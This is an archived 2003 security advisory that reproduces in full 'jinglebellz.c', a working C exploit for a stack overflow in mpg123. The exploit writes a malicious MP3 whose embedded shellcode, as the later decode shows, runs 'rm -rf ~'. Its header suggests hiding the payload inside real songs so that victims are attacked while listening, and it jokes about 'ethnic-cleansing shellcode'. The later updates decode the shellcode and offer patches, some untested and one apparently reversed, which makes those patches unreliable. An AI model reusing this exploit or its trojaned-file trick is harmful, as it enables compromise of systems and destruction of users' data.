14th Jan 2003 [SBWID-5932]
COMMAND
mpg123 Local/remote exploit
SYSTEMS AFFECTED
mpg123 (pre0.59s)
PROBLEM
From :
___ ___ ___ ___ _ ___ ___ ___ ___ ___ _ _ ___ ___ _______
/ __|/ _ \| _ ) _ ) | | __/ __| / __| __/ __| | | | _ \_ _|_ _\ \ / /
| (_ | (_) | _ \ _ \ |__| _|\__ \ \__ \ _| (__| |_| | /| | | | \ V /
\___|\___/|___/___/____|___|___/ |___/___\___|\___/|_|_\___| |_| |_|
"Putting the honey in honeynet since '98."
[[email protected]] advisory, with credits to
[[email protected]] for the ethnic-cleansing shellcode.
/*
jinglebellz.c - local/remote exploit for mpg123
(c) 2003 GOBBLES Security seXForces
To use:
$ gcc -o jinglebellz jinglebellz.c
$ ./jinglebellz X own.mp3
(where X is the target number)
$ mpg123 own.mp3
If you need help finding specific targets for this
exploit:
$ ./jinglebellz 2 debug.mp3
$ gdb
(gdb) file mpg123
(gdb) r debug.mp3
(gdb) set $p=0xc0000000-4
(gdb) while(*$p!=0x41424348)
>set $p=$p-1
>end
(gdb) x/$p
0xbfff923c: 0x41424348
Add the new target to the source, recompile, and
try it out! You might want to supply your own
shellcode if you're going to use this to own your
friends <g>.
Fun things to do:
1) Create an evil.mp3 and append it to the end of a
"real" mp3, so that your victim gets to listen to
their favorite tunez before handing over access.
ex: $ ./jinglebellz X evil.mp3
$ cat evil.mp3 >>"NiN - The Day the Whole World Went Away.mp3"
2) Laugh at Theo for not providing md5sums for the contents of
ftp://ftp.openbsd.org/pub/OpenBSD/songs/, and continue laughing
at him for getting his boxes comprimised when "verifying" the
integrity of those mp3's. GOOD WORK THEO!@# *clap clap clap clap*
Special thanks to stran9er for the shellcode.
Remember, Napster is Communism, so fight for the American
way of life.
Quote:
"GOBBLES is so 2002" -- anonymous
^^^^^^^^^^^^^^^^^^^^
hehehehehehehe ;PPpPPPPPPppPPPPpP
Love,
GOBBLES
Special thanks to Dave Ahmed for supporting this release :>
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#define NORMAL_OVF
#define VERSION "0.1"
#define FALSE 0
#define TRUE 1
#define WRITE_ERROR { perror("write"); close(fd); exit(1); }
#define STATE { fprintf(stderr, "\n* header (%p) state: %x: ", header, state); state ++; ltb(header); }
#define MP3_SIZE (((160 * 144000)/8000) - 3) + 8
#define MAX_INPUT_FRAMESIZE 1920
unsigned char linux_shellcode[] = /* contributed by antiNSA */
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x3b\x50\x31\xc0\x68\x6f"
"\x72\x74\x0a\x68\x6f\x20\x61\x62\x68\x2d\x63\x20\x74\x68\x43"
"\x54\x52\x4c\x68\x73\x2e\x2e\x20\x68\x63\x6f\x6e\x64\x68\x35"
"\x20\x73\x65\x68\x20\x69\x6e\x20\x68\x72\x66\x20\x7e\x68\x72"
"\x6d\x20\x2d\xb3\x02\x89\xe1\xb2\x29\xb0\x04\xcd\x80\x31\xc0"
"\x31\xff\xb0\x05\x89\xc7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66"
"\xba\x70\x50\x52\xb3\x02\x89\xe1\x31\xd2\xb2\x02\xb0\x04\xcd"
"\x80\x31\xc0\x31\xdb\x31\xc9\x50\x40\x50\x89\xe3\xb0\xa2\xcd"
"\x80\x4f\x31\xc0\x39\xc7\x75\xd1\x31\xc0\x31\xdb\x31\xc9\x31"
"\xd2\x68\x66\x20\x7e\x58\x68\x6d\x20\x2d\x72\x68\x2d\x63\x58"
"\x72\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41"
"\x41\x68\x41\x41\x41\x41\x68\x2f\x73\x68\x43\x68\x2f\x62\x69"
"\x6e\x31\xc0\x88\x44\x24\x07\x88\x44\x24\x1a\x88\x44\x24\x23"
"\x89\x64\x24\x08\x31\xdb\x8d\x5c\x24\x18\x89\x5c\x24\x0c\x31"
"\xdb\x8d\x5c\x24\x1b\x89\x5c\x24\x10\x89\x44\x24\x14\x31\xdb"
"\x89\xe3\x8d\x4c\x24\x08\x31\xd2\x8d\x54\x24\x14\xb0\x0b\xcd"
"\x80\x31\xdb\x31\xc0\x40\xcd\x80";
struct xpl
{
unsigned char *name;
unsigned long addrloc; /* LOCATION of our intended func. ptr */
unsigned long allign;
unsigned char *sc;
size_t sclen;
} t[] =
{
{ "Prepare evil mp3 for SuSE 8.0", 0xbfff923c, 0, linux_shellcode, sizeof(linux_shellcode) },
{ "Prepare evil mp3 for Slackware 8.0", 0xbfff96f4, 0, linux_shellcode, sizeof(linux_shellcode) },
{ "Debug", 0x41424344, 0, linux_shellcode, sizeof(linux_shellcode) },
{ NULL, 0x00000000, 0, NULL, 0 }
};
int
head_check(unsigned long head)
{
if ((head & 0xffe00000) != 0xffe00000)
return FALSE;
if (!((head >> 17) & 3))
return FALSE;
if (((head >> 12) & 0xf) == 0xf)
return FALSE;
if (((head >> 10) & 0x3) == 0x3)
return FALSE;
return TRUE;
}
void
btb(unsigned char byte)
{
int shift;
unsigned int bit;
unsigned char mask;
for (shift = 7, mask = 0x80; shift >= 0; shift --, mask /= 2)
{
bit = 0;
bit = (byte & mask) >> shift;
fprintf(stderr, "%01d", bit);
if (shift == 4) fputc(' ', stderr);
}
fputc(' ', stderr);
}
void
ltb(unsigned long blah)
{
btb((unsigned char)((blah >> 24) & 0xff));
btb((unsigned char)((blah >> 16) & 0xff));
btb((unsigned char)((blah >> 8) & 0xff));
btb((unsigned char)(blah & 0xff));
}
int
main(int argc, char **argv)
{
int fd;
unsigned long header;
unsigned int i;
unsigned int state;
unsigned int tcount;
unsigned char l_buf[4];
fprintf(stderr, "@! Jinglebellz.c: mpg123 frame header handling exploit, %s @!\n\n", VERSION);
if (argc < 3)
{
fprintf(stderr, "Usage: %s <target#> <evil.mp3 name>\n\nTarget list:\n\n", argv[0]);
for (tcount = 0; t[tcount].name != NULL; tcount ++) fprintf(stderr, "%d %s\n", tcount, t[tcount].name);
fputc('\n', stderr);
exit(0);
}
tcount = atoi(argv[1]);
if ((fd = open(argv[2], O_CREAT|O_WRONLY|O_TRUNC, 00700)) == -1)
{
perror("open");
exit(1);
}
state = 0;
fprintf(stderr, "+ filling bogus mp3 file\n");
for (i = 0; i < MP3_SIZE; i ++) if (write(fd, "A", 1) < 0) WRITE_ERROR;
fprintf(stderr, "+ preparing evil header");
header = 0xffe00000; /* start state */
STATE;
header |= 1 << 18; /* set bit 19, layer 2 */
STATE;
header |= 1 << 11; /* set bit 12, freqs index == 6 + (header>>10), se we end up with lowest freq (8000) */
STATE;
header |= 1 << 16; /* set fr->error_protection, (off) */
STATE;
header |= 1 << 13;
header |= 1 << 14;
header |= 1 << 15; /* bitrate index to highest possible (0xf-0x1) */
STATE;
header |= 1 << 9; /* fr->padding = ((newhead>>9)&0x1); */
STATE;
fprintf(stderr, "\n+ checking if header is valid: %s\n", head_check(header) == FALSE ? "NO" : "YES");
l_buf[3] = header & 0xff;
l_buf[2] = (header >> 8) & 0xff;
l_buf[1] = (header >> 16) & 0xff;
l_buf[0] = (header >> 24) & 0xff;
lseek(fd, 0, SEEK_SET);
if (write(fd, l_buf, sizeof(l_buf)) < 0) WRITE_ERROR;
fprintf(stderr, "+ addrloc: %p\n", t[tcount].addrloc);
l_buf[0] = ((t[tcount].addrloc + 0x04)) & 0xff;
l_buf[1] = ((t[tcount].addrloc + 0x04) >> 8) & 0xff;
l_buf[2] = ((t[tcount].addrloc + 0x04) >> 16) & 0xff;
l_buf[3] = ((t[tcount].addrloc + 0x04) >> 24) & 0xff;
if (write(fd, l_buf, sizeof(l_buf)) < 0) WRITE_ERROR;
lseek(fd, 0, SEEK_SET);
lseek(fd, MAX_INPUT_FRAMESIZE - t[tcount].sclen, SEEK_SET);
fprintf(stderr, "+ writing shellcode\n");
if (write(fd, t[tcount].sc, t[tcount].sclen) < 0) WRITE_ERROR;
for (i = 0; i < t[tcount].allign; i ++) if (write(fd, "A", 1) < 0) WRITE_ERROR;
#ifdef NORMAL_OVF
l_buf[0] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2)) & 0xff;
l_buf[1] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2) >> 8) & 0xff;
l_buf[2] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2) >> 16) & 0xff;
l_buf[3] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2) >> 24) & 0xff;
#else
l_buf[0] = ((t[tcount].addrloc - 0x08)) & 0xff;
l_buf[1] = ((t[tcount].addrloc - 0x08) >> 8) & 0xff;
l_buf[2] = ((t[tcount].addrloc - 0x08) >> 16) & 0xff;
l_buf[3] = ((t[tcount].addrloc - 0x08) >> 24) & 0xff;
#endif
for (i = MAX_INPUT_FRAMESIZE + t[tcount].allign; i < MP3_SIZE; i += 4)
{
if (write(fd, l_buf, sizeof(l_buf)) < 0) WRITE_ERROR;
}
lseek(fd, 0, SEEK_SET);
close(fd);
fprintf(stderr, "+ all done, %s is ready for use\n", argv[2]);
exit(0);
}
Update (14 January 2003)
======
ASM decode of the shellcode :
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 3B
push eax
xor eax, eax
push A74726F
push 6261206F
push 7420632D
push 4C525443
push 202E2E73
push 646E6F63
push 65732035
push 206E6920
push 7E206672
push 2D206D72
mov bl, 2
mov ecx, esp
mov dl, 29
mov al, 4
int 80 ; LINUX - sys_write
xor eax, eax
xor edi, edi
mov al, 5
mov edi, eax
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov dx, 5070
push edx
mov bl, 2
mov ecx, esp
xor edx, edx
mov dl, 2
mov al, 4
int 80 ; LINUX - sys_write
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push eax
inc eax
push eax
mov ebx, esp
mov al, A2
int 80 ; LINUX - sys_nanosleep
dec edi
xor eax, eax
cmp edi, eax
jnz short 004010B1
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 587E2066
push 722D206D
push 7258632D
push 41414141
push 41414141
push 41414141
push 41414141
push 4368732F
push 6E69622F
xor eax, eax
mov byte ptr ss:[esp+7], al
mov byte ptr ss:[esp+1A], al
mov byte ptr ss:[esp+23], al
mov dword ptr ss:[esp+8], esp
xor ebx, ebx
lea ebx, dword ptr ss:[esp+18]
mov dword ptr ss:[esp+C], ebx
xor ebx, ebx
lea ebx, dword ptr ss:[esp+1B]
mov dword ptr ss:[esp+10], ebx
mov dword ptr ss:[esp+14], eax
xor ebx, ebx
mov ebx, esp
lea ecx, dword ptr ss:[esp+8]
xor edx, edx
lea edx, dword ptr ss:[esp+14]
mov al, B
int 80 ; LINUX - sys_execve
xor ebx, ebx
xor eax, eax
inc eax
int 80 ; LINUX - sys_exit
Update (15 January 2003)
======
Afther decoding the shellcode, [[email protected]] notice in
the stack :
DATA:00402076 push 0A74726Fh ( " "tro")
DATA:0040207B push 'ba o'
DATA:00402080 push 't c-'
DATA:00402085 push 'LRTC'
DATA:0040208A push ' ..s'
DATA:0040208F push 'dnoc'
DATA:00402094 push 'es 5'
DATA:00402099 push ' ni '
DATA:0040209E push '~ fr'
DATA:004020A3 push '- mr'
"rm -rf in 5 seconds.. CTRL-c to abort"
... you'll be warned ...
Update (16 January 2003)
======
3APA3A [[email protected]] adds :
Beside all the noise: it's trivial stack overflow due to invalid
maximum frame size calculation in mpg123. Maximum frame size is defined
to be 1792 (mpglib/mpg123.h) and 1920 (common.c where overflow probably
actually occures). Gobblez construct frame (160 * 144000)/8000 + 1 - 4
= 2877 bytes. Maximum frame may be constructed is probably (384
* 144000)/16000 + 1 - 4 = 3453 bytes. Redefining MAX_INPUT_FRAMESIZE to
4096 should probably fix the problem. mpg123.h (not one from mpglib,
but one from mpg123 itself) already has MAXFRAMESIZE defined as 4096.
It also could be nice to add fr->framesize check. Fix below. I'm too lazy
to test it.
If there are any programs using same mpglib they are vulnerable too.
SOLUTION
Check [http://www.mpg123.de]
Benjamin Tober patch :
This patch is with respect to mpg123-pre0.59s and is to the file
common.c:
--- common.c.orig Wed Jan 15 02:16:08 2003
+++ common.c Wed Jan 15 02:18:52 2003
@@ -579,6 +579,11 @@
fprintf(stderr,"Sorry, unknown layer
type.\n");
return (0);
}
+ if (fr->framesize>MAX_INPUT_FRAMESIZE) {
+ fprintf(stderr,"Frame size too big.\n");
+ fr->framesize = MAX_INPUT_FRAMESIZE;
+ return 0;
+ }
if(!fr->bitrate_index) {
/* fprintf(stderr,"Warning, Free format not
heavily tested: (head %08lx)\n",newhead); */
Update (17 January 2003)
======
3APA3A [[email protected]] adds :
Latest release mpg123 0.59r uses large enough buffer size and may not
be exploited this way. But both versions have another one bug in frame
size calculation - zero bitrate will lead to negative frame size to
be calculated. Unchecked patches:
for 0.59r:
--- common.old 2003-01-15 21:42:15.000000000 +0300
+++ common.c 2003-01-15 21:42:38.000000000 +0300
@@ -123,7 +123,7 @@
return FALSE;
if(!((head>>17)&3))
return FALSE;
- if( ((head>>12)&0xf) == 0xf)
+ if( ((head>>12)&0xf) == 0xf || (head>>12)&0xf) == 0)
return FALSE;
if( ((head>>10)&0x3) == 0x3 )
return FALSE;
for pre0.59s:
--- common.old 2003-01-15 20:51:15.000000000 +0300
+++ common.c 2003-01-15 20:25:26.000000000 +0300
@@ -127,7 +127,7 @@
return FALSE;
if(!((head>>17)&3))
return FALSE;
- if( ((head>>12)&0xf) == 0xf || (head>>12)&0xf) == 0)
+ if( ((head>>12)&0xf) == 0xf)
return FALSE;
if( ((head>>10)&0x3) == 0x3 )
return FALSE;
@@ -140,7 +140,7 @@
* -1: giving up
* 1: synched
*/
-#define MAX_INPUT_FRAMESIZE 1920
+#define MAX_INPUT_FRAMESIZE 4096
#define SYNC_HEAD_MASK 0xffff0000
#define SYNC_HEAD_MASK_FF 0x0000f000
#define LOOK_AHEAD_NUM 3
@@ -237,6 +237,8 @@
}
}
else {
+ if(frameInfo.framesize > MAX_INPUT_FRAMESIZE) return 0;
+
if(!rds->read_frame_body(rds,dummybuf,frameInfo.framesize))
return 0;